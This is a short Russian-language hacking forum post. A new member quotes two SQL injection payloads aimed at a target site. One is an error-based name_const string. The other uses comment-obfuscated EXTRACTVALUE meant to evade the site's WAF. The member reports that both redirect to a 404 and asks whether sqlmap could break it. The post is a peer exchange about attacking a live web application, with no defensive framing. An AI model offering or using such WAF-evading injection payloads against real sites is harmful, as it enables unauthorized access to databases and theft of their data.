10.02.2016, 14:47
|
|
Новичок
Регистрация: 09.02.2016
Сообщений: 9
Провел на форуме:
1811
Репутация:
0
|
|
Сообщение от OxoTnik
↑
site.com/city/1
'or(select*from(select(name_const(version(),1)),na me_const(version(),1))a)and(1)='1
Перекидывает на 404
А можно в sqlmap какнибудь раскрутить?
Сообщение от MaxFast
↑
Есть ещё один прекрасный вектор, который может сработать в твоей ситуации.
Код:
site.com/city/-1+/*!aNd*/+/*!ExTRaCtVaLuE*/(1,/*!CoNcAt*/(0x3a,(version()))+--+
Местный WAF всему виной.
(((всерано перекидывает на 404
|
|
|